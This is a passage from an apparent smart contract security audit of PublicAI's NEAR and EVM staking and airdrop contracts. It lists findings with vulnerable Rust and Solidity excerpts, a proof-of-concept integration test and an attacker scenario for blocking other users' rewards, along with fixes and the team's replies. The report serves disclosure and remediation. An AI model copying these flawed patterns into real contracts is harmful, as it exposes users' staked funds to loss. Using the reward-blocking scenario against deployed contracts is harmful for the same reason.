56        ....
57
58        // Mark the account as claimed
59  @>    self.claimed.insert(account_id.clone());
60
61        // Always call storage_deposit first, regardless of registration status
62        Promise::new(self.token_contract.clone())
63            .function_call(
64                "storage_deposit".to_string(),
65                near_sdk::serde_json::json!({
66                    "account_id": account_id,
67                    "registration_only": true
68                })
69                .to_string()
70                .into_bytes(),
71                NearToken::from_yoctonear(1_250_000_000_000_000_000_000),
72                Gas::from_gas(10_000_000_000_000),
73            )
74            // Chain to transfer tokens after storage_deposit
75            .then(
76                Self::ext(env::current_account_id())
77                    .with_static_gas(Gas::from_gas(40_000_000_000_000))
78                    .on_storage_deposit_then_transfer(account_id, amount),
79            )
```

Recommendation

Recommend refactoring the code to ensure users can successfully withdraw both their principal and rewards. A potential solution includes:

1. Revert the user's staking record remove operation if `ft_transfer()` call fails.
2. Adding logic to validate prepaid gas to prevent FT transfer failures due to insufficient gas.
3. Ensuring sufficient NEAR balance is maintained to cover the required 1 yoctoNEAR deposit for the `ft_transfer()` call.

Alleviation

[PublicAI, 08/07/2025]: The team heeded the advice and resolved the issue by adding code logic to update state before cross-contract function call and revert state after failed cross-contract function call in commit

45efa392b4b02e318449d185a36af500c997b7d0 for publicai-staking.

PUB-08 UNRESTRICTED OWNER WITHDRAW IN EVM STAKING CONTRACT AND LACK OF WITHDRAW FUNCTION IN NEAR CONTRACT

Category	Severity	Location	Status
Logical Issue	Major	contracts/Staking.sol (EVMstaking-pre(9d1ad99)): 81~86	Resolved

Description

The EVM staking contract's `ownerWithdraw` function allows the owner to withdraw any amount of tokens from the contract balance without restrictions. This function only checks if the contract has sufficient balance, but does not validate whether the tokens should be locked for user stakes or accrued rewards. The owner can drain user staked amounts and earned rewards, leaving users unable to withdraw their principal and rewards. Additionally, the NEAR staking contract lacks an owner withdraw function entirely, preventing proper balance management.

Recommendation

We recommend implementing proper withdrawal limits by calculating locked tokens (total staked + accrued rewards) and only allowing withdrawal of excess tokens. Moreover, we recommend adding a similar function to the NEAR contract with proper restrictions.

Alleviation

[PublicAI, 08/05/2025]: The team heeded the advice and resolved the issue by adding code logic to validate available withdrawn reward in commit

1. 8cfbbe60787e18aea2f29d9c3cb37c3e88401d23 for `publicai-staking`
2. 402c60a85c4ec1c25d604f5e0144e4ecd56dbdd8 for `publicai-staking-evm`

PUB-15 NEP-141 PARAMETER MISMATCH PREVENTS STAKING FUNCTIONALITY

Category	Severity	Location	Status
Logical Issue	Major	src/lib.rs (staking-pre(9baa55b)): 115	Resolved

Description

The staking contract's `ft_on_transfer` function contains a parameter naming issue that prevents all staking operations from succeeding. The function signature declares the third parameter as `_msg: String`, but the NEP-141 fungible token standard sends JSON with the field name `msg` (without underscore).

When users attempt to stake tokens via `ft_transfer_call`, the token contract correctly transfers tokens to the staking contract and then calls `ft_on_transfer`. However, the JSON deserialization fails with error "missing field `_msg`" because the contract expects `_msg` but receives `msg` from the NEP-141 compliant token contract.

This deserialization failure causes the token contract to automatically refund the tokens to the user, leaving no stake recorded in the staking contract. The staking functionality is completely broken as no tokens can ever be successfully staked.

Proof of Concept

The following integration test demonstrates that the staking operation fails due to parameter mismatch:

```rust
use near_workspaces::{sandbox, compile_project, types::NearToken, Account,
Contract};
use near_sdk::json_types::U128;
use serde_json::json;

/// Test demonstrating the ft_on_transfer parameter mismatch bug
/// The function expects "_msg" but NEP-141 sends "msg", causing deserialization
failure
#[tokio::test]
async fn test_parameter_mismatch_causes_staking_failure() -> anyhow::Result<()> {
    let worker = sandbox().await?;

    // Deploy contracts
    let token_wasm = compile_project("../publicai-token").await?;
    let staking_wasm = compile_project(".").await?;
    let token_contract: Contract = worker.dev_deploy(&token_wasm).await?;
    let staking_contract: Contract = worker.dev_deploy(&staking_wasm).await?;

    let root = worker.root_account()?;

    // Initialize token contract
    root.call(token_contract.id(), "new")
        .args_json(json!({
            "owner_id": root.id(),
            "total_supply": U128(1_000_000_000u128),
            "metadata": {
                "spec": "ft-1.0.0",
                "name": "Test Token",
                "symbol": "TT",
                "decimals": 18
            }
        }))
        .max_gas()
        .transact()
        .await?;

    // Initialize staking contract
    root.call(staking_contract.id(), "new")
        .args_json((root.id(), token_contract.id()))
        .transact()
        .await?;

    // Create user and setup
    let alice: Account = worker.dev_create_account().await?;

    // Register accounts for storage
    for account_id in [alice.id(), staking_contract.id()] {
        root.call(token_contract.id(), "storage_deposit")
```

```
            .args_json(json!({ "account_id": account_id, "registration_only": null
}))

.deposit(NearToken::from_yoctonear(1_250_000_000_000_000_000_000_000u128))
            .transact()
            .await?;
    }

    // Give Alice tokens
    root.call(token_contract.id(), "ft_transfer")
        .args_json(json!({
            "receiver_id": alice.id(),
            "amount": U128(1_000_000u128),
            "memo": null
        }))
        .deposit(NearToken::from_yoctonear(1))
        .max_gas()
        .transact()
        .await?;

    let initial_balance: U128 = alice
        .view(token_contract.id(), "ft_balance_of")
        .args_json(json!({ "account_id": alice.id() }))
        .await?
        .json()?;

    // Attempt staking via ft_transfer_call
    // This should fail because ft_on_transfer expects "_msg" but receives "msg"
    let stake_result = alice
        .call(token_contract.id(), "ft_transfer_call")
        .args_json(json!({
            "receiver_id": staking_contract.id(),
            "amount": U128(1_000_000u128),
            "memo": null,
            "msg": ""  // NEP-141 standard field name
        }))
        .deposit(NearToken::from_yoctonear(1))
        .max_gas()
        .transact()
        .await?;

    // Verify staking failed due to deserialization error
    let logs = stake_result.logs();
    let has_refund = logs.iter().any(|log| log.contains("refund"));
    assert!(has_refund, "Expected refund due to ft_on_transfer failure");

    // Verify no stake was recorded
    let stake_info = alice
        .view(staking_contract.id(), "get_stake_info")
```

```
        .args_json(json!({"account_id": alice.id()}))
        .await?;
    let stake_value: serde_json::Value = stake_info.json()?;
    assert!(stake_value.is_null(), "No stake should be recorded due to
deserialization failure");

    // Verify Alice got tokens back (proof of failure)
    let final_balance: U128 = alice
        .view(token_contract.id(), "ft_balance_of")
        .args_json(json!({ "account_id": alice.id() }))
        .await?
        .json()?;
    assert_eq!(initial_balance.0, final_balance.0, "Balance should be unchanged due
to refund");

    println!("DEMONSTRATED: ft_on_transfer parameter mismatch");
    println!("- Function signature: ft_on_transfer(..., _msg: String)");
    println!("- NEP-141 JSON field: {{\"msg\": \"...\"}}");
    println!("- Result: Deserialization fails, tokens refunded, no stake recorded");

    Ok(())
}
```

Recommendation

We recommend changing the parameter name in the `ft_on_transfer` function from `_msg` to `msg` to match the NEP-141 standard.

Alleviation

[PublicAI, 08/04/2025]: The team heeded the advice and resolved the issue by replacing `_msg` with the `msg` argument in the ft_on_transfer() function definition in commit 8cfbbe60787e18aea2f29d9c3cb37c3e88401d23.

PUB-24 INCORRECT `self.total_claimed_reward` UPDATE IN `on_ft_transfer_then_remove()` ALLOWS BLOCK REWARD DISTRIBUTION

Category	Severity	Location	Status
Logical Issue	Major	src/lib.rs (staking-v4(733dce3)): 209~213, 237, 260	Resolved

Description

The following code block is intended to transfer both principal and rewards to users. However, due to a flaw, the users' accumulated rewards are added to `self.total_claimed_reward` even when those rewards are not actually transferred. This allows an attacker to exploit the vulnerability to prevent rewards from being distributed to other users.

In the `unstake()` function, if the duration since a user's first stake is less than `self.lock_duration`, their rewards are not claimed. Nevertheless, the unclaimed rewards in `stake_info.accumulated_reward` are still added to `self.total_claimed_reward` within the `on_ft_transfer_then_remove()` callback function.

```
154      /// Unstake all principal and rewards
155      #[payable]
156      pub fn unstake(&mut self) -> Promise {
157          ....
158  @>      stake_info.accumulated_reward += claim_reward;
159
160          // Total payout = principal + accumulated rewards
161
// If the lock-up period is not exceeded, only the principal will be returned.
162  @>      let total_payout = if current_time > stake_info.first_stake_time + self
.lock_duration {
163              stake_info.amount + stake_info.accumulated_reward
164          } else {
165  @>          stake_info.amount
166          };
167
168          // Remove staking record
169          self.staked_balances.remove(&account_id);
170
171          // Transfer principal and rewards to the user
172          Promise::new(self.token_contract.clone())
173              .function_call(
174                  "ft_transfer".to_string(),
175                  serde_json::json!({
176                      "receiver_id": account_id,
177  @>                  "amount": total_payout.to_string(),
178                  })
179                  .to_string()
180                  .into_bytes(),
181                  NearToken::from_yoctonear(1), // Attach 1 yoctoNEAR
182                  Gas::from_gas(20_000_000_000_000),
183              )
184              .then(
185                  Self::ext(env::current_account_id())
186                      .with_static_gas(Gas::from_gas(5_000_000_000_000))
187                      .on_ft_transfer_then_remove(
188                          account_id,
189                          stake_info.amount,
190  @>                      stake_info.accumulated_reward,
191                          stake_info.first_stake_time,
192                          stake_info.start_time,
193                          before_accumulated_reward,
194                      ),
195              )
196      }
197
198      /// Callback: After ft_transfer, only then remove staking record.
199      #[private]
200      pub fn on_ft_transfer_then_remove(
201          &mut self,
202          account_id: AccountId,
203          stake_amount: u128,
```

```
204 @>      reward_amount: u128,
205         first_stake_time: u64,
206         start_time: u64,
207         before_reward_amount: u128,
208         #[callback_result] call_result: Result<(), near_sdk::PromiseError>,
209     ) -> bool {
210         match call_result {
211             Ok(()) => {
212                 self.total_staked -= stake_amount;
213 @>              self.total_claimed_reward += reward_amount;
214                 self.user_states
215                     .insert(&account_id, &UserOperationState::Idle);
216                 true
217             }
218             ....
219         }
220     }
```

Notice: A similar issue also exists in `publicai-staking-evm` project.

Scenario

Let's assume:

1. Total reward = 50
2. Reward end time > 5 weeks
3. Lock duration = 14 days

Scenario

1. The attacker stakes 1,000 X-tokens when the contract is deployed on-chain.
2. The attacker unstakes the principal at the end of Week 1.
   - Reward (current logic): $\frac{1000 \times 50000 \times \text{one\_week\_seconds}}{\text{one\_year\_seconds} \times 10000} = 95$
   - Attacker's accumulated reward = total reward of 50
   - `self.total_claimed_reward` is updated to 50
3. The attacker withdraws the 1,000 X-token principal.
4. Alice stakes 1,000 X-tokens when the contract is deployed on-chain.
5. Alice unstakes the principal at the end of Week 2.
   - Reward (current logic): $\frac{1000 \times 40000 \times \text{one\_week\_seconds}}{\text{one\_year\_seconds} \times 10000} + \frac{1000 \times 50000 \times \text{one\_week\_seconds}}{\text{one\_year\_seconds} \times 10000} = 172$
   - Alice's accumulated reward = 0
6. Alice only withdraws her 1,000 X-token principal, even though her stake meets the 14-day lock duration.

Recommendation

Recommend refactoring the code to correct the `self.total_claimed_reward` update logic and prevent unintended reward distribution.

Alleviation

[PublicAI, 08/12/2025]: Issue acknowledged. Changes have been reflected in the commit hash: https://github.com/PublicAI01/publicai-staking/commit/5b3652c0566944067151521d601f09d2776c6751

[PublicAI, 08/13/2025]: Issue acknowledged. Changes have been reflected in the commit hash: https://github.com/PublicAI01/publicai-staking-evm/commit/c4e1d3b3d1ec0ef51af49a2d5b2dff11c94648ac

[CertiK, 08/12/2025]: The team heeded the advice and resolved the issue by updating the logic and preventing unintended reward distribution in commit 5b3652c0566944067151521d601f09d2776c6751 for the NEAR contract and in commit c4e1d3b3d1ec0ef51af49a2d5b2dff11c94648ac for the solidity contract.

PUB-25 | TOTALREWARD SHOULD BE BACKED BY FUNDING

Category	Severity	Location	Status
Logical Issue	Major	contracts/Staking.sol (EVMstaking-v4(144edc)): 212~217	Acknowledged

Description

The `totalReward` state variable is used to keep track of the amount of rewards available in the contract. However, there is no limit on the amount that can be set. Moreover, there is no guarantee that the amount set in the state variable is actually backed by tokens deposited in the staking contract.

Recommendation

We recommend ensuring that `totalReward` reflects the amount of rewards that is actually present in the contract or clarifying the intended behavior.

Alleviation

[PublicAI, 08/13/2025]: We will transfer an equivalent amount of total_reward tokens during the contract deployment and initialization phase.

This process will require manual supervision by our development and operations teams, so it shouldn't be an issue.

However, if it absolutely needs to be implemented programmatically, I currently don't have a straightforward solution for that.

[PublicAI, 08/13/2025]: The team acknowledged the issue and decided not to implement the recommended change in the current engagement. Moreover, the team clarified that they will provide funding manually through their development and operations team.

PUB-09 MISSING CODE LOGIC TO AVOID WITHDRAWING OTHER USERS' STAKED ASSETS

Category	Severity	Location	Status
Design Issue	Medium	contracts/Staking.sol (EVMstaking-pre(9d1ad99)): 65; src/lib.rs (staking-pre(9baa55b)): 43~44	Resolved

Description

The `unstake()` function allows users to withdraw both their principal and rewards. However, due to a flaw in the current implementation, users can still withdraw these funds even when there is a shortage of reward assets. In such cases, other users' principals may be mistakenly treated as rewards and withdrawn by others, potentially causing loss of principal for some users.

Additionally, there is no upper limit on the number of stakers, the amount each staker can stake, or the rewards they can earn. As a result, the reward assets may be depleted even if the contract owner allocates reward assets during deployment.

```
42      /// Unstake all principal and rewards
43      #[payable]
44      pub fn unstake(&mut self) {
45          ....
46
47  @>      // Update accumulated rewards
48  @>      let reward = self.calculate_reward(stake_info.amount, staked_duration);
49  @>      stake_info.accumulated_reward += reward;
50  @>
51  @>      // Total payout = principal + accumulated rewards
52  @>      let total_payout = stake_info.amount + stake_info.accumulated_reward;
53
54          // Remove staking record
55          self.staked_balances.remove(&account_id);
56
57          // Transfer principal and rewards to the user
58          near_sdk::Promise::new(account_id.clone()).function_call(
59              "ft_transfer".to_string(),
60              near_sdk::serde_json::json!({
61                  "receiver_id": account_id,
62                  "amount": total_payout.to_string(),
63              })
64              .to_string()
65              .into_bytes(),
66              NearToken::from_yoctonear(1), // Attach 1 yoctoNEAR
67              env::prepaid_gas().saturating_div(2),
68          );
69      }
```

Notice: A similar issue also exists in `publicai-staking-evm/contracts/Staking.sol`

```
65      function unstake() external updateReward(msg.sender) {
66          StakeInfo storage info = stakes[msg.sender];
67          uint256 amount = info.amount;
68          uint256 reward = info.rewardDebt;
69          require(amount > 0, "Nothing to unstake");
70
71          info.amount = 0;
72          info.rewardDebt = 0;
73          totalStaked -= amount;
74
75          token.transfer(msg.sender, amount + reward);
76
77          emit Unstaked(msg.sender, amount, reward);
78      }
```

Recommendation

Recommend refactoring the code to correct the reward withdrawal logic and prevent potential loss of users' principal.

Alleviation

[PublicAI, 08/05/2025]: The team heeded the advice and resolved the issue by adding validation logic for reward claim amount in commit 8cfbbe60787e18aea2f29d9c3cb37c3e88401d23.

[CertiK, 08/05/2025]: The audit team strongly recommends that the PublicAI team ensure the reward amount available for users to claim equals `self.total_reward`.

PUB-10 | AIRDROP CONTRACT REUSABILITY DESIGN FLAW

Category	Severity	Location	Status
Design Issue	Medium	src/lib.rs (airdrop-pre(62b5a57)): 34~42, 64	Acknowledged

Description

The `PublicAI Airdrop` contract implements an `update_merkle_root` function, suggesting support for multiple airdrop rounds. However, the `claimed` HashSet tracks claims globally at the contract level without reset logic when the Merkle root is updated. This design flaw permanently excludes users who claimed from the first airdrop from participating in subsequent airdrops with the same account, rendering the `update_merkle_root` functionality ineffective for legitimate multi-round airdrops.

Recommendation

We recommend resetting the `claimed` state when updating the Merkle root (e.g., by adding `self.claimed.clear();` in the `update_merkle_root` function) or implementing per-Merkle-root claim tracking by modifying the data structure and using the Merkle root as the key. Alternatively, we recommend clarifying the intended behavior.

Alleviation

[CertiK, 08/01/2025]: The team acknowledged the issue and decided not to implement the recommended change in the current engagement.

PUB-22 POTENTIAL ASSETS LOSS CAUSED BY ABNORMAL BATCHED TRANSACTION

Category	Severity	Location	Status
Coding Issue	Medium	src/lib.rs (staking-v3(45efa39)): 164~165, 211~216, 382	Resolved

Description

The `unstake()` function is designed to allow users to withdraw their principal and rewards, while the `ft_on_transfer()` function facilitates staking. However, the current implementation lacks safeguards against users submitting batched transactions that include both `unstake()` and `ft_on_transfer()` calls. This flaw can lead to users' staked assets becoming locked within the `StakingContract`.

The `unstake()` function executes across three separate blocks:

1. **B1**: Calculates the total withdrawal amount and removes the user's staking record.
2. **B2**: Calls the FT contract's `ft_transfer()` to transfer assets.
3. **B3**: Reverts the staking record removal if `ft_transfer()` fails.

Staking via `ft_transfer_call()` also spans three blocks:

1. **B1**: Calls the FT contract's `ft_transfer_call()` and updates the sender's and receiver's balances.
2. **B2**: Triggers `StakingContract`'s `ft_on_transfer()`, which inserts the user's new staking record and updates `self.total_staked`.
3. **B3**: Calls the FT contract's `ft_resolve_transfer()` to handle any refund.

If a user submits a batched transaction with `unstake()` and `ft_transfer_call()`, and the `ft_transfer()` in the `unstake()` process fails, the staking record reverted in B3 will overwrite the new staking record created in B2.

For example, if a user unstakes 300 and stakes 500 in a single batched transaction, the 300 is unrecorded due to the failed transfer, but the new 500 staking is not recorded—even though the tokens have already been transferred to the `StakingContract`. As a result, the user loses 500 tokens.

Recommendation

Recommend refactoring the code to prevent users from executing unstake and stake simultaneously.

Alleviation

[PublicAI, 08/08/2025]: The team heeded the advice and resolved the issue by adding code logic to avoid user's conflicting operations in commit 733dce3fc3189fc809bb443bafb9f24f51d34814.

PUB-02 UNCLEAR FT STORAGE DEPOSIT OF `AirdropContract` AND `StakingContract` ACCOUNTS

Category	Severity	Location	Status
Design Issue	Minor	src/lib.rs (airdrop-pre(62b5a57)): 18~19; src/lib.rs (staking-pre(9baa55b)): 29~30	Acknowledged

Description

According to the NEP-141 standard, FT holders must first register and pay a storage deposit via the `storage_deposit()` cross-contract call before receiving FT assets.

The `AirdropContract` is intended to hold airdrop FT assets, while the `StakingContract` manages reward assets. Both contracts are expected to receive FT assets upon project launch. However, the current codebase lacks the logic to register the `AirdropContract` and `StakingContract` accounts with the FT contract.

Recommendation

We recommend clarifying the intended design regarding the registration of these two accounts.

Alleviation

[PublicAI, 08/01/2025]: Issue acknowledged. I won't make any changes for the current version.

PUB-05 | UNCHECKED ERC-20 `transfer()` / `transferFrom()` CALL

Category	Severity	Location	Status
Volatile Code	Minor	contracts/Staking.sol (EVMstaking-pre(9d1ad99)): 44~50, 65~78, 81~86	Resolved

Description

The return values of the `transfer()` and `transferFrom()` calls in the smart contract are not checked. Some ERC-20 tokens' transfer functions return no values, while others return a bool value, they should be handled with care. If a function returns `false` instead of reverting upon failure, an unchecked failed transfer could be mistakenly considered successful in the contract.

```
75          token.transfer(msg.sender, amount + reward);
```

```
46          token.transferFrom(msg.sender, address(this), amount);
```

```
84          token.transfer(owner(), amount);
```

Recommendation

It is advised to use the OpenZeppelin's `SafeERC20.sol` implementation to interact with the `transfer()` and `transferFrom()` functions of external ERC-20 tokens. The OpenZeppelin implementation checks for the existence of a return value and reverts if false is returned, making it compatible with all ERC-20 token implementations.

Alleviation

[PublicAI, 08/05/2025]: The team heeded the advice and resolved the issue by using `safeTransfer()` in commit 402c60a85c4ec1c25d604f5e0144e4ecd56dbdd8.

PUB-12 MISSING FULL ACCESS KEY VALIDATION FOR SENSITIVE METHODS

Category	Severity	Location	Status
Logical Issue	Minor	src/lib.rs (airdrop-pre(62b5a57)): 34, 47; src/lib.rs (staking-pre(9baa55b)): 44; src/lib.rs (token-pre(012510c)): 71, 71	Partially Resolved

Description

In Near, off-chain applications can be authorized to execute transactions on behalf of an account creating contract and method specific access keys. If on one hand, this patterns eases the user interaction with an application requiring only a single initial signature, it also poses in the off-chain application or component trust in its correct behavior.

It is a good practice to not fully delegate to the off-chain component the execution of all the possible user interactions with a certain smart-contract, but to require an explicit user signature for sensitive operations.

This practice in enforced requiring, in the sensitive operation, the transfer of `1 yoctoNear`, which is the minimum transferrable quantity, that constrict the transaction containing the operation to be signed by a full access key belonging to the caller account. In fact, full access key are not generally granted to off-chain components, so an explicit user signature is required.

The functions as below have sensitive operation.

- `update_owner()` in publicai token
- `unstake()` and `update_contract()` in StakingContract
- `claim_airdrop()` and `update_merkle_root()` in AirdropContract

Recommendation

Recommend to ensure that a full access key is signing the mentioned methods.

Such check is implemented by the `near_sdk::utils::assert_one_yocto` function and requires the called method to be `#[payable]`.

Alleviation

[CertiK, 08/08/2025]: The team partially resolved this issue.

The issue still exists in `update_contract()` of `StakingContract`.

PUB-16 | USAGE OF `unwrap()` IN PRODUCTION CODEBASE

Category	Severity	Location	Status
Coding Style	Minor	src/lib.rs (token-pre(012510c)): 63	Acknowledged

Description

Since `unwrap()` function may cause panic, its use is generally discouraged. In fact, throwing out a panic may not always be desired in the production codebase, and lacking an error handling mechanism will reduce the robustness of the program.

Instead, is preferred to use pattern matching and handle the error case explicitly, it is better to call `unwrap_or()`, `unwrap_or_else()`, or `unwrap_or_default()`.

Rust Book References 1 2

Recommendation

We recommend either explicitly handling and propagating errors or using `.unwrap_or()`, `.unwrap_or_else()`, or `.unwrap_or_default()` when a fallback value is envisioned.

Alleviation

[PublicAI, 08/01/2025]: Issue acknowledged. I won't make any changes for the current version.

PUB-19 POTENTIAL LOSS OF STAKING REWARDS DUE TO REWARD POOL IS EXHAUSTED

Category	Severity	Location	Status
staking-v2(8cfbbe6)	Minor	src/lib.rs (staking-v2(8cfbbe6)): 133~144	Acknowledged

Description

The following code block calculates the reward amount a user can withdraw upon unstaking. However, under the current logic, users may not receive any rewards in the following scenario, even if they have staked for a long time:

1. Alice stakes once, but all rewards are claimed by other users before she unstakes.
2. When Alice unstakes, she can only withdraw her principal.

```
133          // Update accumulated rewards
134          let reward = self.calculate_reward(stake_info.amount, staked_duration);
135  @>      let after_total_claimed_reward = self.total_claimed_reward + reward;
136          let mut claim_reward = 0;
137
// The user can only claim the portion that does not exceed the total reward.
138  @>      if after_total_claimed_reward >= self.total_reward {
139  @>          if self.total_reward >= self.total_claimed_reward {
140  @>              claim_reward = self.total_reward - self.total_claimed_reward;
141              }
142          } else {
143              claim_reward = reward;
144          }
```

Recommendation

The audit team would like to ask PublicAI team to confirm if the current code logic aligns with the original design.

Alleviation

[PublicAI, 08/06/2025]: The team acknowledged the issue and decided not to implement the recommended change in the current engagement. Moreover, Yes, this is our logic. We will stop when the reward pool is almost exhausted. If the reward is not enough, we will compensate manually.

PUB-20 MISSING `stake_paused` STATUS WHEN OWNER WITHDRAWS TOKEN

Category	Severity	Location	Status
Logical Issue	Minor	src/lib.rs (staking-v2(8cfbbe6)): 239~240	Resolved

Description

The `withdraw_token()` function is intended for the owner to withdraw unused reward assets. In the `publicai-staking-evm` project, staking must be paused before withdrawing these assets. However, the `publicai-staking` project contains inconsistent logic in this design.

Recommendation

Recommend refactoring the code to ensure consistent design logic for the same feature.

Alleviation

[PublicAI, 08/06/2025]: The team heeded the advice and resolved the issue by adding code logic to check if staking is paused in commit c2cdeb5452fefd969ff031d41d14f4252b843d48.

PUB-26 | NO REASONABLE LIMIT ON LOCK DURATION

Category	Severity	Location	Status
Logical Issue	Minor	contracts/Staking.sol (EVMstaking-v4(144edc)): 220~224; src/lib.rs (staking-v4(733dce3)): 91~101	Resolved

Description

The owner can set `lock_duration` with no restriction. There is no upper bound enforced, meaning a creator could set this value to `i64::MAX` or other high values. This design allows token creators to disable all rewards for stakers indefinitely, which could mislead users into purchasing tokens that will never be able to accrue rewards.

Recommendation

We recommend setting a reasonable upper limit on the sell lock time and providing clear documentation on how it is set.

Alleviation

[PublicAI, 08/12/2025]: Issue acknowledged. Changes have been reflected in the commit hash: https://github.com/PublicAI01/publicai-staking/commit/5b3652c0566944067151521d601f09d2776c6751

PUB-14 | USAGE OF MAGIC NUMBERS

Category	Severity	Location	Status
Coding Style	Informational	src/lib.rs (staking-pre(9baa55b)): 52, 83, 102, 125	Resolved

Description

Magic numbers are used multiple times in code related to nanoseconds to seconds conversion.

Recommendation

We recommend declaring constants and to use them instead of the magic numbers to improve code maintainability and readability.

Alleviation

[PublicAI, 08/05/2025]: The team heeded the advice and resolved the issue by declaring constants in commit 8cfbbe60787e18aea2f29d9c3cb37c3e88401d23.

PUB-17 | USE OF DELIMITER IN MERKLE LEAF CONSTRUCTION

Category	Severity	Location	Status
Volatile Code	Informational	src/lib.rs (airdrop-pre(62b5a57)): 57	Resolved

Description

The current implementation of the airdrop contract constructs Merkle tree leaves by concatenating the account ID and amount without a delimiter (i.e., `"{account_id}{amount}"`). While NEAR's account naming rules and top-level account restrictions make it practically impossible for two different `(account_id, amount)` pairs to collide in this way, omitting a delimiter introduces a theoretical risk of ambiguity.

Recommendation

Although the NEAR protocol prevents the creation of confusingly similar account IDs (e.g., both `user1.near` and `user12.near` as TLAs), and implicit accounts are cryptographically unique, using a delimiter (such as `":"`, resulting in `"{account_id}:{amount}"`) in the Merkle leaf construction is a best practice. This ensures that even in edge cases or future changes to account naming, there is no risk of collision between different `(account_id, amount)` pairs.

Alleviation

[PublicAI, 08/01/2025]: Issue acknowledged. Changes have been reflected in the commit hash: https://github.com/PublicAI01/publicai-airdrop/commit/a05e2f56f237197c592bd0ac40a5fa27bf96abb6

[CertiK, 08/01/2025]: The team heeded the advice and resolved the issue by using a delimiter in the Merkle leaf construction in commit a05e2f56f237197c592bd0ac40a5fa27bf96abb6

PUB-18 | UNLOCKED COMPILER VERSION

Category	Severity	Location	Status
Coding Issue	Informational	contracts/Staking.sol (EVMstaking-pre(9d1ad99)): 2	Resolved

Description

The contracts cited have an unlocked compiler version. An unlocked compiler version in the source code of the contract permits the user to compile it at or above a particular version. This, in turn, leads to differences in the generated bytecode between compilations due to differing compiler version numbers. This can lead to ambiguity when debugging, as compiler specific bugs may occur in the codebase that would be hard to identify over a span of multiple compiler versions rather than a specific one.

Recommendation

We recommend the compiler version is instead locked at the lowest version possible that the contract can be compiled at. For example, for version `v0.8.20` the contract should contain the following line:

```
pragma solidity 0.8.20;
```

Alleviation

[PublicAI, 08/05/2025]: The team heeded the advice and resolved the issue in commit 402c60a85c4ec1c25d604f5e0144e4ecd56dbdd8.

PUB-27 | COMPARISON TO BOOLEAN CONSTANT

Category	Severity	Location	Status
Coding Style	Informational	contracts/Staking.sol (EVMstaking-v4(144edc)): 69~76, 177~193, 202~210	Resolved

Description

Boolean constants can be used directly and do not need to be compared to true or false.

```
204             require(stakePaused == false, "Need to start stake first.");
```

```
206             require(stakePaused == true, "Need to pause stake first.");
```

```
179          require( stakePaused == true, "Stake should paused");
```

```
71         require(stakePaused == false, "Stake paused");
```

Recommendation

We recommend removing the equality to the boolean constant.

Alleviation

[PublicAI, 08/12/2025]: Issue acknowledged. Changes have been reflected in the commit hash: https://github.com/PublicAI01/publicai-staking-evm/commit/c2f561e471bc914275a47ff3e5dc02fb8d8f9072

[CertiK, 08/12/2025]: The team heeded the advice and resolved the issue by removing the equality to a boolean constant in commit c2f561e471bc914275a47ff3e5dc02fb8d8f9072

PUB-28 | UNNECESSARY STATE UPDATE IN STAKING

Category	Severity	Location	Status
Logical Issue	Informational	src/lib.rs (staking-v4(733dce3)): 496~497, 530~531	Resolved

Description

In the funciton `ft_on_transfer()` the user state is used as a mutex updating it to `Staking` at the beginning of the function and then to `Idle` at the end of the function. However, differently from the `unstaking()` function, everything is performed synchronously during the stake operation and the state is updated for no reason.

Recommendation

We recommend either removing the state update or clarifying if this is done for consistency purposes.

Alleviation

[PublicAI, 08/12/2025]: Since stake and unstake operations may be executed simultaneously, we implemented a mutex mechanism to prevent potential conflicts. This ensures that a single transaction can either perform a stake operation or an unstake operation, but not both at the same time.

PUB-29 | DISCUSSION ON `no-op` MIGRATION

Category	Severity	Location	Status
Design Issue	Informational	src/lib.rs (airdrop-v4(217632)): 193~195; src/lib.rs (staking-v4(733dce3)): 435~437	Acknowledged

Description

The migration function only copies the state into the new contract as is, without doing any conditional state migration.

The audit team would like clarification on wether a state structure update is envisioned in the future and how the migration would be performed in that case.

Moreover, the solidity staking contract is not upgradable. The audit team would like clarification on why the Near counterpart is ugradable instead.

Recommendation

We would recommend that you clarify whether an update to the state structure is envisioned and how the EVM staking contract can be upgraded without using the upgradeability patterns.

Alleviation

[PublicAI, 08/12/2025]: We can reserve the method there for now and address it later if an update becomes necessary, though the likelihood of such a need seems to be very low.

OPTIMIZATIONS | PUBLICAI

ID	Title	Category	Severity	Status
PUB-01	Missing Cross-Contract Function Call Result Validation In `claim_airdrop()` Function	Design Issue	Optimization	Resolved
PUB-23	State Variables That Could Be Declared Immutable	Coding Issue	Optimization	Resolved

PUB-01 MISSING CROSS-CONTRACT FUNCTION CALL RESULT VALIDATION IN `claim_airdrop()` FUNCTION

Category	Severity	Location	Status
Design Issue	Optimization	src/lib.rs (airdrop-pre(62b5a57)): 95	Resolved

Description

The `on_storage_deposit_then_transfer()` callback function is intended to transfer FT assets to users. However, the success of the transfer depends on the successful user registration via the `storage_deposit()` function. The current issue lies in the lack of logic to verify the registration result. As a consequence, unnecessary and failed `ft_transfer()` cross-contract calls are made even when user registration fails.

```
 87
/// Callback: After storage_deposit, attempt to transfer the airdrop tokens.
 88      #[private]
 89      pub fn on_storage_deposit_then_transfer(
 90          &mut self,
 91          account_id: AccountId,
 92          amount: U128,
 93  @>      #[callback_result] _call_result: Result<Option<serde_json::Value>,
near_sdk::PromiseError>,
 94      ) -> Promise {
 95          Promise::new(self.token_contract.clone()).function_call(
 96              "ft_transfer".to_string(),
 97              serde_json::json!({
 98                  "receiver_id": account_id,
 99                  "amount": amount,
100              })
101              .to_string()
102              .into_bytes(),
103              NearToken::from_yoctonear(1),
104              Gas::from_gas(20_000_000_000_000),
105          )
106      }
```

Recommendation

Recommend refactoring the code to ensure `ft_transfer()` is triggered only after successful user registration.

Alleviation

[PublicAI, 08/01/2025]: Issue acknowledged. Changes have been reflected in the commit hash:
https://github.com/PublicAI01/publicai-airdrop/commit/a05e2f56f237197c592bd0ac40a5fa27bf96abb6

[CertiK, 08/01/2025]: The team heeded the advice and resolved the issue by triggering `ft_transfer` after successfull user registration in commit a05e2f56f237197c592bd0ac40a5fa27bf96abb6 and updating the claimed state for that user after a successful `fr_transfer` in commit 3b92b5daa701888ea8e6c22dd7fa693a1732a89e.

PUB-23 STATE VARIABLES THAT COULD BE DECLARED IMMUTABLE

Category	Severity	Location	Status
Coding Issue	Optimization	contracts/Staking.sol (EVMstaking-v4(144edc)): 31	Resolved

Description

State variables that are not updated following deployment should be declared immutable to save gas.

Recommendation

Add the immutable attribute to state variables that never change or are set only in the constructor.

Alleviation

